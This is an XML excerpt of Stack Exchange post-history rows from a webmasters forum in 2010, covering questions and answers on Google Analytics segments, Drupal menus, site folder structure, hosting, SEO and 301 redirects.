  <row Id="10110" PostHistoryTypeId="2" PostId="5092" RevisionGUID="d135b402-a27a-404e-814e-3becf9aa3f5e" CreationDate="2010-11-05T18:12:13.027" UserId="1953" Text="I'm a big fan of Advanced segments because they allow you to apply the segment to any report. To create one for visitors from the United States you would click the &quot;Advanced Segments&quot; dropdown on the top right above the date range selector. Select create new advanced segment add country/territory as the dimension make the settings &quot;matches exactly&quot; and &quot;United States&quot; then name your segment and save it. Now you can look at any report you want, and to see the data just from that segment you select it in the dropdown. This even gives you the option to compare segments (IE you can see how visitors from the Untied States compare to all the visits etc.)" />
  <row Id="10111" PostHistoryTypeId="2" PostId="5093" RevisionGUID="ce9f4f23-663c-48df-9865-43108dffb665" CreationDate="2010-11-05T17:48:03.847" UserDisplayName="user342960" Text="I'm creating a website to connect people and share documents, especially for working or professional people (somewhat like linkedin or twitter...).&#xD;&#xA;&#xD;&#xA;The following are names I want to use: spreadoo, spacepia, pluxia, ililet, stuffgate, sharedgate, econnecto, indexsite, elifezone, indexly, facej, elifebook, docgate, spreadably&#xD;&#xA;&#xD;&#xA;Which domains are the best names for my service? Does any names above suggest you about the service and easy to remember?&#xD;&#xA;&#xD;&#xA;I'm asking this question because I'm not a native English speaker. Thank for any suggestion." />
  <row Id="10112" PostHistoryTypeId="1" PostId="5093" RevisionGUID="ce9f4f23-663c-48df-9865-43108dffb665" CreationDate="2010-11-05T17:48:03.847" UserDisplayName="user342960" Text="Which brand name is better for my service?" />
  <row Id="10113" PostHistoryTypeId="3" PostId="5093" RevisionGUID="ce9f4f23-663c-48df-9865-43108dffb665" CreationDate="2010-11-05T17:48:03.847" UserDisplayName="user342960" Text="&lt;networking&gt;&lt;domains&gt;&lt;branding&gt;" />
  <row Id="10114" PostHistoryTypeId="17" PostId="5093" RevisionGUID="51e370cf-1639-49f5-9ca0-27a61251b974" CreationDate="2010-11-05T18:13:10.743" UserId="-1" Comment="from http://stackoverflow.com/questions/4108579/which-brand-name-is-better-for-my-service" Text="" />
  <row Id="10115" PostHistoryTypeId="5" PostId="5091" RevisionGUID="11975817-7260-4d00-833d-4739c8bed0c6" CreationDate="2010-11-05T18:15:21.270" UserId="2288" Comment="added 4 characters in body; added 2 characters in body" Text="Trying to create folders for links where the parent has no content, it's just a folder. Need to be able to insert #, but Drupal is saying it's not a link. Just want the user to click it and nothing happen, the child of that menu item will already be being displayed without a click.&#xD;&#xA;&#xD;&#xA;**I've attempted the following:** `'', null, #, &lt;empty&gt;, &lt;null&gt;, &lt;blank&gt;, &lt;answer&gt;` **...just kidding.**&#xD;&#xA;&#xD;&#xA;**ERROR:** The path '`&lt;insert_non-url&gt;`' is either invalid or you do not have access to it.&#xD;&#xA;&#xD;&#xA;Question, just ask -- thanks!" />
  <row Id="10116" PostHistoryTypeId="2" PostId="5094" RevisionGUID="5478b79b-5c7b-4e01-93d8-45e33e508993" CreationDate="2010-11-05T18:16:02.500" UserId="233" Text="First you will need to know the laws and regulations in the country you are hosting the site and creating &quot;the content&quot;. Minimum legal ages and so on.&#xD;&#xA;&#xD;&#xA;Second, you need to check the T&amp;C of your hosting provider; many will explicitly say hosting adult material is not allowed. If you are self-hosting, you should check your internet service provider since they may have certain conditions, too.&#xD;&#xA;&#xD;&#xA;Third, if you are allowing user-generated content you will need strict controls on what gets uploaded, what to do with illegal material, and so on.&#xD;&#xA;&#xD;&#xA;Finally, I am not a lawyer (nor do I have any experience in this area) so I suggest you seek professional advice on this kind of thing." />
  <row Id="10117" PostHistoryTypeId="10" PostId="5093" RevisionGUID="53f70bf8-c4f5-4d5d-922c-2cb8a73d9d2f" CreationDate="2010-11-05T18:18:42.857" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="10118" PostHistoryTypeId="5" PostId="5091" RevisionGUID="5573fa72-2808-4f1e-92da-f32173ef1047" CreationDate="2010-11-05T18:20:26.193" UserId="2288" Comment="added 28 characters in body; added 55 characters in body; added 5 characters in body" Text="Trying to create folders for links where the parent has no content, it's just a folder. Need to be able to insert #, but Drupal is saying it's not a link. Just want the user to click it and nothing happen, the child of that menu item will already be being displayed without a click.&#xD;&#xA;&#xD;&#xA;**Version:** Drupal 6 (appears &lt;none&gt; worked in D5)&#xD;&#xA;&#xD;&#xA;**I've attempted the following:** `'', #, &lt;#&gt;, empty, &lt;empty&gt;, null, &lt;null&gt;, blank, &lt;blank&gt;, &lt;none&gt;, none, &lt;answer&gt;` **...just kidding.**&#xD;&#xA;&#xD;&#xA;**ERROR:** The path '`&lt;insert_non-url&gt;`' is either invalid or you do not have access to it.&#xD;&#xA;&#xD;&#xA;Question, just ask -- thanks!" />
  <row Id="10119" PostHistoryTypeId="2" PostId="5095" RevisionGUID="1e29cf82-8392-45f4-8fc0-c717123a462f" CreationDate="2010-11-05T18:43:17.400" UserId="2288" Text="    Http://#&#xD;&#xA;&#xD;&#xA;Drupal takes it as input, but it returns an error. Posting this for now until someone post an answer that Drupal 6 takes as input, and does not produce an error." />
  <row Id="10120" PostHistoryTypeId="2" PostId="5096" RevisionGUID="e2fbb717-eb58-4f50-9690-5d9219e77cdc" CreationDate="2010-11-05T18:51:19.593" UserId="1953" Text="I haven't seen any published checklists for site audits, but here is a good overview of the site audit process you could use to writeup your own.&#xD;&#xA;&#xD;&#xA;http://www.seomoz.org/blog/whiteboard-friday-seo-site-reviews-stebbystep" />
  <row Id="10121" PostHistoryTypeId="5" PostId="5095" RevisionGUID="f0547949-1945-4040-a8ab-03483cd5e7ee" CreationDate="2010-11-05T19:01:36.143" UserId="2288" Comment="added 53 characters in body" Text="    Http://#&#xD;&#xA;&#xD;&#xA;Drupal takes it as input, but it returns an error in the navigation, but at least I've got a menu item. Posting this for now until someone post an answer that Drupal 6 takes as input, and does not produce an error." />
  <row Id="10122" PostHistoryTypeId="2" PostId="5097" RevisionGUID="6f8fdbe6-7efe-4c40-a491-34f5c2653c3b" CreationDate="2010-11-05T19:15:21.263" UserId="745" Text="I would use SEO Moz's [Search Engine Ranking Factors][1] minisite as a checklist to start. It's a survey that was taken by many top SEOs about what they think are the most important factors in SEO. Each factor is categorized and ranked according to importance, along with comments from experts. They also include negative ranking factors, or things you shouldn't do. Each ranking factor is specific enough that you should be able to figure out how to do it just from the description, but if not, a quick Google search should help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/article/search-ranking-factors" />
  <row Id="10123" PostHistoryTypeId="6" PostId="5086" RevisionGUID="b55328b3-0fbc-4b9a-92e4-594b25811fa3" CreationDate="2010-11-05T19:17:16.657" UserId="745" Comment="Added tag" Text="&lt;seo&gt;&lt;seo-audit&gt;" />
  <row Id="10124" PostHistoryTypeId="2" PostId="5098" RevisionGUID="0e251a57-8eeb-42f7-8e99-82305eef8948" CreationDate="2010-11-05T19:30:20.553" UserId="3051" Text="I am looking for a Hosting solution (Dedicated or Shared) which will allow me to host a SQL Server database service (Not SQL Express but the Web edition). The size of my database might grow to 50GB or more. The web application will offer more reads than write operations. I also need daily backups and raid 1 storage. Is there a reliable and economical hosting company that would provide this?" />
  <row Id="10125" PostHistoryTypeId="1" PostId="5098" RevisionGUID="0e251a57-8eeb-42f7-8e99-82305eef8948" CreationDate="2010-11-05T19:30:20.553" UserId="3051" Text="Need Sql Server Hosting 50GB or More" />
  <row Id="10126" PostHistoryTypeId="3" PostId="5098" RevisionGUID="0e251a57-8eeb-42f7-8e99-82305eef8948" CreationDate="2010-11-05T19:30:20.553" UserId="3051" Text="&lt;dedicated-hosting&gt;" />
  <row Id="10127" PostHistoryTypeId="5" PostId="5098" RevisionGUID="25b59338-5720-4ff2-aeaf-0b4269b506f1" CreationDate="2010-11-05T19:36:35.597" UserId="3051" Comment="added 108 characters in body" Text="I am looking for a Hosting solution (Dedicated or Shared) which will allow me to host a SQL Server database service (Not SQL Express but the Web edition). The size of my database might grow to 50GB or more. The web application will offer more reads than write operations. I also need daily backups and raid 1 storage. Is there a reliable and economical hosting company that would provide this?&#xD;&#xA;&#xD;&#xA;Additional Question: If there is a easy way to host MS SQL on Amazon EC2 service, it will be preferable." />
  <row Id="10128" PostHistoryTypeId="2" PostId="5099" RevisionGUID="9fdc6730-826b-417b-a645-181a8dfee0f1" CreationDate="2010-11-05T19:48:12.280" UserId="3052" Text="When you create a site (small, static content) how far do you go with folder detail? Do you have a /images folder in the site root, or /content/images or /images/site, /images/public?&#xD;&#xA;&#xD;&#xA;I'm one of these people who likes things to be &quot;just so&quot; in regards to folders, but what's the best way to do it?" />
  <row Id="10129" PostHistoryTypeId="1" PostId="5099" RevisionGUID="9fdc6730-826b-417b-a645-181a8dfee0f1" CreationDate="2010-11-05T19:48:12.280" UserId="3052" Text="how far do you go with creating subfolders for content?" />
  <row Id="10130" PostHistoryTypeId="3" PostId="5099" RevisionGUID="9fdc6730-826b-417b-a645-181a8dfee0f1" CreationDate="2010-11-05T19:48:12.280" UserId="3052" Text="&lt;best-practices&gt;" />
  <row Id="10131" PostHistoryTypeId="2" PostId="5100" RevisionGUID="418ad65d-a612-4f47-8156-b4925cc73ef8" CreationDate="2010-11-05T19:51:11.683" UserId="2011" Text="Yes, Drupal can do that. Part of that functionality is already built into Drupal core, and you can extend that with contributed modules. Both core and contributed modules can be downloaded from www.drupal.org. Two popular contributed modules you'll want to learn more about are [CCK][1] and [Views][2].&#xD;&#xA;&#xD;&#xA;Drupal is designed to be flexible and extensible without having to modify the core files. Instead, you install modules. Modules extend Drupal using the concept of [implementing hooks][3], which means that you write a function that will respond when Drupal invokes a hook. For instance, if your module implements hook_menu, your module will respond when Drupal core builds up the menu structure.&#xD;&#xA;&#xD;&#xA;If you cannot find a module that does what you need, you can write your own, building on functionality provided by Drupal core and other modules. However, a lot of functionality is already available, so maybe you do not need to write any custom code at all.&#xD;&#xA;&#xD;&#xA;I advise you to download Drupal, experiment with it on a local server and figure out which modules you need for your site. When you run into trouble, ask more specific questions here, or on one of the [support channels][4] listed on drupal.org.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/cck&#xD;&#xA;  [2]: http://drupal.org/project/views&#xD;&#xA;  [3]: http://api.drupal.org/api/drupal/includes--module.inc/group/hooks/6&#xD;&#xA;  [4]: http://drupal.org/community" />
  <row Id="10132" PostHistoryTypeId="2" PostId="5101" RevisionGUID="dc96c31a-a471-43b7-81d6-253e17a4e728" CreationDate="2010-11-05T19:53:44.533" UserId="2011" Text="Use the [Views module][1] to create your list, and publish it as a block on the home page and as an RSS feed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/views" />
  <row Id="10133" PostHistoryTypeId="2" PostId="5102" RevisionGUID="3955607f-9c3f-465d-b30b-d8cfce82bda3" CreationDate="2010-11-05T19:54:28.670" UserId="1253" Text="Organize in such a way that maintaining it is easiest. Have as many subdirectories as necessary to keep it organized and meaningful. For small sites I only have a single directory for images. For larger sites I'll have subdirectories for specialized images (icons, buttons, photos, temporary, etc). That makes it much easier for me, and anyone else who has to maintain the site, to figure out what the heck is going on when we revisit the site months or years later. And with images, and similar files, your users never see the URLs of those files so they can be longer and won't inconvenience them one bit.&#xD;&#xA;&#xD;&#xA;The only issues you may have with many subdirectories is when it comes to web pages. If you have too many subdirectories it will result in longer URLs which can be inconvenient for users at times. Then again, sometimes this will be a natural byproduct of a site's content. In these cases plan ahead and try your best to find a balance between maintainability and usability. " />
  <row Id="10134" PostHistoryTypeId="2" PostId="5103" RevisionGUID="6539f77e-f96c-45e3-9be8-14ac2e45cbc5" CreationDate="2010-11-05T20:02:11.980" UserId="2293" Text="I think there isn't a standard in the word inception.&#xD;&#xA;&#xD;&#xA;Any folder hierarchy that makes sense is valid. I used to have the following (considering just static content):&#xD;&#xA;&#xD;&#xA;    / {root folder, pages goes here}&#xD;&#xA;    /styles/ {stylesheets goes here}&#xD;&#xA;    /styles/img/ {images used in stylesheets goes here}&#xD;&#xA;    /styles/fonts/ {fonts used in stylesheets goes here}&#xD;&#xA;    /scripts/ {javascript files}&#xD;&#xA;    /img/ {content images}&#xD;&#xA;&#xD;&#xA;Maybe having some folders for categories organization.&#xD;&#xA;&#xD;&#xA;That's it. The point I think we should take care is about directories deepness. More than 4 degrees isn't that good for SEO, and probably an information architecture is needed when reach this point." />
  <row Id="10135" PostHistoryTypeId="2" PostId="5104" RevisionGUID="f3fc0083-c39b-4a70-99d1-90e561b58335" CreationDate="2010-11-05T20:09:32.893" UserId="2293" Text="You can find [here][1] some resources.&#xD;&#xA;&#xD;&#xA;I know it isn't exactly what you are looking for, but I think you can grab all material, clean up and make a summary report from there with what you want/need quickly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.yourseoplan.com/book/templates-worksheets/" />
  <row Id="10136" PostHistoryTypeId="5" PostId="4703" RevisionGUID="990b3cfa-5673-4cc6-9bfd-ee491d668899" CreationDate="2010-11-05T20:13:44.830" UserId="2840" Comment="edited body" Text="Look at StackExchange and Wikipedia : for me, the best way to get a huge amout of quality content is the collaborative way.&#xD;&#xA;&#xD;&#xA;You &quot;just&quot; have to provide strong infrastructure (good ergonomic/moderation/scalability...)" />
  <row Id="10137" PostHistoryTypeId="2" PostId="5105" RevisionGUID="1cbf7007-3a17-4f24-b3fe-e075b71916fd" CreationDate="2010-11-05T20:26:38.080" UserId="2840" Text="Personaly, for static content, I prefere host it in an other domain like that :&#xD;&#xA;&#xD;&#xA;- static.mydomain.invalid/img&#xD;&#xA;- static.mydomain.invalid/js&#xD;&#xA;- static.mydomain.invalid/css&#xD;&#xA;- static.mydomain.invalid/[...]&#xD;&#xA;&#xD;&#xA;it's simpler, you don't send cookies's informations to your statics content and do some bandwidth savings.&#xD;&#xA;&#xD;&#xA;For dynamic contents, I use rewriting to have a structure like that:&#xD;&#xA;&#xD;&#xA;- www.mydomain.invalid/my-content.html&#xD;&#xA;- www.mydomain.invalid/my-content/my-sub-content.html&#xD;&#xA;&#xD;&#xA;And I try to avoid more than 2 or 3 level of sub directory" />
  <row Id="10138" PostHistoryTypeId="5" PostId="5105" RevisionGUID="4321db60-051f-410e-9469-d198b17d4d60" CreationDate="2010-11-05T20:31:40.167" UserId="2840" Comment="added 108 characters in body; deleted 1 characters in body" Text="Personaly, for static content, I prefere host it in an other domain like that:&#xD;&#xA;&#xD;&#xA;- static.mydomain.invalid/img&#xD;&#xA;- static.mydomain.invalid/js/{my-scripts}&#xD;&#xA; - static.mydomain.invalid/js/libs/{my-libs-eg-mootools}&#xD;&#xA;- static.mydomain.invalid/css&#xD;&#xA; - static.mydomain.invalid/css/img&#xD;&#xA;- static.mydomain.invalid/[...]&#xD;&#xA;&#xD;&#xA;it's simpler, you don't send cookies's informations to your statics content and do some bandwidth savings.&#xD;&#xA;&#xD;&#xA;For dynamic contents, I use rewriting to have a structure like that:&#xD;&#xA;&#xD;&#xA;- www.mydomain.invalid/my-content.html&#xD;&#xA;- www.mydomain.invalid/my-content/my-sub-content.html&#xD;&#xA;&#xD;&#xA;And I try to avoid more than 2 or 3 level of sub directory." />
  <row Id="10140" PostHistoryTypeId="5" PostId="5086" RevisionGUID="2cbc560e-228f-43f6-8d24-d38161ce7e44" CreationDate="2010-11-05T21:34:50.040" UserId="2288" Comment="deleted 7 characters in body" Text="Looking for a sample report (or even better, a process for generating a report) that would cover the most important SEO factors of a small business &quot;brochureware&quot; site. Your answer does not have to be a link to a report, it just needs to as completely as possible answer the question." />
  <row Id="10141" PostHistoryTypeId="2" PostId="5106" RevisionGUID="6b216883-9957-41b5-941f-29300bbfa400" CreationDate="2010-11-05T22:02:04.827" UserId="2011" Text="I always use the [Special Menu Items][1] module, which allows you to enter &quot;nolink&quot; as path. A 'nolink' menu item will render as a normal menu item without `&lt;a&gt;` tag, but you can style it differently if needed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/special_menu_items" />
  <row Id="10145" PostHistoryTypeId="2" PostId="5108" RevisionGUID="adabec9f-18a2-4603-9396-4605b28ef2ac" CreationDate="2010-11-05T23:34:38.533" UserId="2288" Text="Don't have any hard facts, but in thinking about it seems that way to me. Best answer making a case for, or against this is select." />
  <row Id="10146" PostHistoryTypeId="1" PostId="5108" RevisionGUID="adabec9f-18a2-4603-9396-4605b28ef2ac" CreationDate="2010-11-05T23:34:38.533" UserId="2288" Text="Is it me, or is SEO slowly fading away and SEM taking over?" />
  <row Id="10147" PostHistoryTypeId="3" PostId="5108" RevisionGUID="adabec9f-18a2-4603-9396-4605b28ef2ac" CreationDate="2010-11-05T23:34:38.533" UserId="2288" Text="&lt;seo&gt;&lt;sem&gt;" />
  <row Id="10148" PostHistoryTypeId="2" PostId="5109" RevisionGUID="c94a5a78-0261-40cb-99c5-c1d16c6ab157" CreationDate="2010-11-05T20:28:36.083" UserDisplayName="Ryan" Text="I need to remove the gavel picture on this page but I still want it to be the featured images&#xD;&#xA;&#xD;&#xA;http://myradiocentral.com/2010/11/05/the-great-radio-auction/" />
  <row Id="10149" PostHistoryTypeId="1" PostId="5109" RevisionGUID="c94a5a78-0261-40cb-99c5-c1d16c6ab157" CreationDate="2010-11-05T20:28:36.083" UserDisplayName="Ryan" Text="How do I remove a picture from my wordpress site" />
  <row Id="10150" PostHistoryTypeId="3" PostId="5109" RevisionGUID="c94a5a78-0261-40cb-99c5-c1d16c6ab157" CreationDate="2010-11-05T20:28:36.083" UserDisplayName="Ryan" Text="&lt;php&gt;&lt;html&gt;&lt;wordpress&gt;" />
  <row Id="10151" PostHistoryTypeId="17" PostId="5109" RevisionGUID="efbb8408-8684-456c-8b94-643eb6e74957" CreationDate="2010-11-06T00:21:53.057" UserId="-1" Comment="from http://stackoverflow.com/questions/4109792/how-do-i-remove-a-picture-from-my-wordpress-site" Text="" />
  <row Id="10152" PostHistoryTypeId="2" PostId="5110" RevisionGUID="7acc9ac9-d336-483e-b140-2fb4677a8c7b" CreationDate="2010-11-06T00:43:28.123" UserDisplayName="Mark Schenkel" Text="Check out [embeddedanalytics][1].  You could define a report of your most popular pages and then embed the chart into your website.&#xD;&#xA;&#xD;&#xA;We are also working on a &quot;Top Content&quot; widget which will have clickable links for your most popular pages.&#xD;&#xA;&#xD;&#xA;(disclosure: this is a site I have developed)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.embeddedanalytics.com" />
  <row Id="10153" PostHistoryTypeId="2" PostId="5111" RevisionGUID="65cd6028-58f9-44ae-9dcb-561bfdd39e5a" CreationDate="2010-11-06T02:08:08.313" UserId="2293" Text="After late 90s bubble, only now people are taking web as serious business and making money from it. SEO and ads are now taking a solid place.&#xD;&#xA;&#xD;&#xA;With more and more small business getting into web market everyday, I following makes sense for me.&#xD;&#xA;&#xD;&#xA;Years ago, only large/medium business dive seriously into internet. And they had/have enough resources to invest in SEO, usability, and so on. Small business arriving now, want low cost solutions, with quick return.&#xD;&#xA;&#xD;&#xA;SEO demands much more resources, but last longer. SEM, provides a quick return for little investiments, making investors happy.&#xD;&#xA;&#xD;&#xA;I have a friend who sells professional kites and have a lousy site from SEO and design point of view. He spends around US$ 100 per week, and makes 15-20 sells with this, what makes his investiment worth a lot (he pay his bills, health insurance, bla bla bla common safe life). This is why he doesn't care about his site, SEO and all that stuff. Because he already have what he needs from using SEM.&#xD;&#xA;&#xD;&#xA;I don't actually see SEO loosing terrain for SEM. They are both related but different things. I see a huge growth rate for SEM, in comparison to SEO, but both are growing in market." />
  <row Id="10154" PostHistoryTypeId="2" PostId="5112" RevisionGUID="aa1d5f49-a760-42b4-99c7-54675d9d0025" CreationDate="2010-11-06T04:24:03.183" UserId="2595" Text="Just delete the picture from within the post. From the post editor, on the right hand side, there should be an area that says something along the lines of set featured image (unless it's already set in which case it'll show the image). Just click that link and find your picture. When you find it rather than hit the button that says insert into post hit the one that says use as featured image instead. Update the post and you should be good to go." />
  <row Id="10155" PostHistoryTypeId="16" PostId="5108" RevisionGUID="cc9c9cd3-d43d-4291-9292-09dff12b007f" CreationDate="2010-11-06T05:09:59.563" UserId="1253" />
  <row Id="10156" PostHistoryTypeId="10" PostId="5109" RevisionGUID="c93e8d44-79ad-4aa8-b0cc-5b5043513088" CreationDate="2010-11-06T05:16:26.500" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="10157" PostHistoryTypeId="6" PostId="5109" RevisionGUID="c6d3b9f0-96eb-44f0-b8f4-ac24165a2e85" CreationDate="2010-11-06T05:17:20.680" UserId="1253" Comment="edited tags" Text="&lt;wordpress&gt;" />
  <row Id="10158" PostHistoryTypeId="5" PostId="5105" RevisionGUID="b123c82f-0827-4d54-be90-c34e27425dc9" CreationDate="2010-11-06T05:27:59.920" UserId="2840" Comment="deleted 2 characters in body" Text="Personaly, for static content, I prefere host it in an other FQDN like that:&#xD;&#xA;&#xD;&#xA;- static.mydomain.invalid/img&#xD;&#xA;- static.mydomain.invalid/js/{my-scripts}&#xD;&#xA; - static.mydomain.invalid/js/libs/{my-libs-eg-mootools}&#xD;&#xA;- static.mydomain.invalid/css&#xD;&#xA; - static.mydomain.invalid/css/img&#xD;&#xA;- static.mydomain.invalid/[...]&#xD;&#xA;&#xD;&#xA;it's simpler, you don't send cookies's informations to your statics content and do some bandwidth savings.&#xD;&#xA;&#xD;&#xA;For dynamic contents, I use rewriting to have a structure like that:&#xD;&#xA;&#xD;&#xA;- www.mydomain.invalid/my-content.html&#xD;&#xA;- www.mydomain.invalid/my-content/my-sub-content.html&#xD;&#xA;&#xD;&#xA;And I try to avoid more than 2 or 3 level of sub directory." />
  <row Id="10159" PostHistoryTypeId="2" PostId="5113" RevisionGUID="de63b0ac-023b-49ed-9541-c63daa526641" CreationDate="2010-11-06T09:51:22.397" UserId="1757" Text="I don't think you need &quot;special authorization&quot; for hosting pornography in most cases (assuming you live in a country where pornography is legal), but you do need to ensure that you're using a web host that doesn't forbid pornography on their servers. There are plenty of web hosts that allow any legal content, so this shouldn't be a problem.&#xD;&#xA;&#xD;&#xA;However, you may want to use the [RTA label][1] to tag your site as adults-only for filtering software. This is completely mandatory, as are age &quot;verification&quot; pages, but it's good practice to make sure that anyone entering your site knows what they're walking into.&#xD;&#xA;&#xD;&#xA;And, of course, the standard legal requirements for hiring/managing adult actors and arranging photo/video shoots apply.&#xD;&#xA;&#xD;&#xA;  [1]: http://rtalabel.org" />
  <row Id="10160" PostHistoryTypeId="2" PostId="5114" RevisionGUID="c80d4bc9-f44c-447a-ae3a-d9dc0535f37f" CreationDate="2010-11-06T12:07:46.967" UserDisplayName="Kobby Owusu" Text="I asked for help over at [WordPress Answers StackExchange][1] for doing a [301 Redirect][2] for my website, which will involve a permalink structure change also.&#xD;&#xA;&#xD;&#xA;One of the suggested solutions was `301 Redirect` via `Apache (.htaccess)` and then use a plugin for internal redirects on the new site.&#xD;&#xA;&#xD;&#xA;The person who answered was not sure if using this two step approach will affect SEO and suggested I ask over here.&#xD;&#xA;&#xD;&#xA;So will doing a 301 Redirect and then having a plugin also redirect to the correct URL affect how Google indexes my new site, PageRank or any other SEO rankings?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.stackexchange.com/&#xD;&#xA;  [2]: http://wordpress.stackexchange.com/questions/3636/301-redirects-for-posts-category-pages-from-original-domain-to-sub-domain-of-mu" />
  <row Id="10161" PostHistoryTypeId="1" PostId="5114" RevisionGUID="c80d4bc9-f44c-447a-ae3a-d9dc0535f37f" CreationDate="2010-11-06T12:07:46.967" UserDisplayName="Kobby Owusu" Text="SEO: Will Multiple Redirects (301, Permalink Plugin) affect ranking" />
  <row Id="10162" PostHistoryTypeId="3" PostId="5114" RevisionGUID="c80d4bc9-f44c-447a-ae3a-d9dc0535f37f" CreationDate="2010-11-06T12:07:46.967" UserDisplayName="Kobby Owusu" Text="&lt;seo&gt;&lt;redirects&gt;" />
  <row Id="10163" PostHistoryTypeId="2" PostId="5115" RevisionGUID="e9914ac4-8b55-4099-94a0-39e86ecf12b5" CreationDate="2010-11-06T12:27:31.897" UserDisplayName="Kobby Owusu" Text="In terms of SEO, maybe this quote from this SearchEnglineLand post&#xD;&#xA;may clarify that this approach may be suitable for the intent of marketing them as separate businesses.&#xD;&#xA;&#xD;&#xA;&gt; So, in conclusion, if you’d like to&#xD;&#xA;&gt; build the equity of one web site or&#xD;&#xA;&gt; entity, I suggest using a subfolder.&#xD;&#xA;&gt; If you’d like to build an entire new&#xD;&#xA;&gt; entity with its own equity, launch a&#xD;&#xA;&gt; subdomain.&#xD;&#xA;&#xD;&#xA;Read more: http://www.searchenginejournal.com/subdomains-or-subfolders-which-are-better-for-seo/6849/#ixzz14VL7nz7E&#xD;&#xA;&#xD;&#xA;About maintenance issues using a WordPress subdomain multisite installation may reduce some of the maintenance overheads especially with updates for Wordpress Core and Plugins. &#xD;&#xA;&#xD;&#xA;The client gets subdomains and different themes, ability to assign different content creators, normal admins for each *'business'* site and as the Super Admin, you can do most backend maintenance once.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10164" PostHistoryTypeId="2" PostId="5116" RevisionGUID="dc6e10eb-a1c2-4943-9877-97cc87b449d2" CreationDate="2010-11-06T12:43:00.870" UserId="2336" Text="I have several sites hosted on [Arvixe][1], one of those has a MS SQL database nearly 2GB in size and I pay only the &quot;unlimited&quot; fee of $7 a month. The hosting has been pretty stable (certainly worth $7 a month).  The admin frontend they have could use some work, it does allow for restoral and backups from and to files you can FTP to the site, but overall I would recommend them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/linux_web_hosting" />
  <row Id="10165" PostHistoryTypeId="5" PostId="5116" RevisionGUID="47b2847d-fe35-4911-afac-e72078cc8af2" CreationDate="2010-11-06T12:49:41.590" UserId="2336" Comment="added 2 characters in body" Text="I have several sites hosted on [Arvixe][1], one of those has a MS SQL database nearly 2GB in size and I pay only the &quot;unlimited&quot; fee of $8 a month. The hosting has been pretty stable (certainly worth $8 a month).  The admin frontend they have could use some work, it does allow for restoral and backups from and to files you can FTP to the site, but overall I would recommend them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/asp_net_web_hosting" />
  <row Id="10172" PostHistoryTypeId="2" PostId="5118" RevisionGUID="78e46b16-f444-405f-be00-eb2596338c14" CreationDate="2010-11-06T14:20:36.990" UserId="1064" Text="Redirecting more than once per request is a suboptimal solution - if possible, generate all of the new mappings (i.e. 'site1.com/old-category/old-post-uri -&gt; sub1.site2.com/new-category/new-post-uri') and redirect directly from the old site1.com URI to the new sub1.site2.com URI instead of forcing multiple requests.&#xD;&#xA;&#xD;&#xA;You will very likely see a temporary drop in ranking whenever you move between domains, however, consistent use of 301 redirects should get your content back to its appropriate ranking as quickly as possible." />
  <row Id="10173" PostHistoryTypeId="2" PostId="5119" RevisionGUID="0bbbf209-4b6d-4dff-be29-e2bdba802631" CreationDate="2010-11-06T14:28:29.763" UserId="1253" Text="The number of methods you choose to do a redirect isn't really relevant since once a redirect is sent to the browser it instantly does it and never sees another redirect. What does matter is that all of the redirects are 301 redirects. If they are anything but a 301 redirect then you will have issues with your rankings.&#xD;&#xA;&#xD;&#xA;301 redirects are not a perfect solution but they a lot better then nothing. Not only will your suers find your new URLs without fail but so will the search engines. Plus they will make a correlation between the new content and the old content, and in the case of Google, pass along any PR and any other page specific factors, as well as keep the rankings for those pages.&#xD;&#xA;&#xD;&#xA;Keep in mind that 301 redirects aren't perfect. You will see a temporary drop in your rankings while Google makes the adjustment on their end. They also recommend going out and contacting anyone who is linking to your old content and ask them to update their links to your new URLs as [there will be some PR loss from those links][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.stonetemple.com/articles/interview-matt-cutts-012510.shtml" />
  <row Id="10174" PostHistoryTypeId="2" PostId="5120" RevisionGUID="a878f15f-92db-4a8e-a6f9-7f492b328038" CreationDate="2010-11-06T14:38:03.957" UserId="1064" Text="    &lt;? if ( %%HTTP_HOST%% != 'live.chess.com' ) { ?&gt;&#xD;&#xA;    &lt;script&gt;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;    _gaq.push(['_setAccount', 'UA-XXXXX-01']);&#xD;&#xA;    _gaq.push(['_setDomainName', '&lt;? echo %%HTTP_HOST%% ?&gt;']);&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;? } ?&gt;&#xD;&#xA;&#xD;&#xA;(Where `%%HTTP_HOST%%` is a variable generated by your server-side script)" />
  <row Id="10175" PostHistoryTypeId="2" PostId="5121" RevisionGUID="465be47d-fa73-4731-b3b7-cf52958b3383" CreationDate="2010-11-06T14:45:34.137" UserId="1064" Text="A search of ga.js would suggest that the string &quot;document.domain&quot; (or the minified variant &quot;E.domain&quot;) does not, in fact, appear.&#xD;&#xA;&#xD;&#xA;Google Analytics uses `window.location.hostname` (encoded as `b.hostname`) to get the domain." />
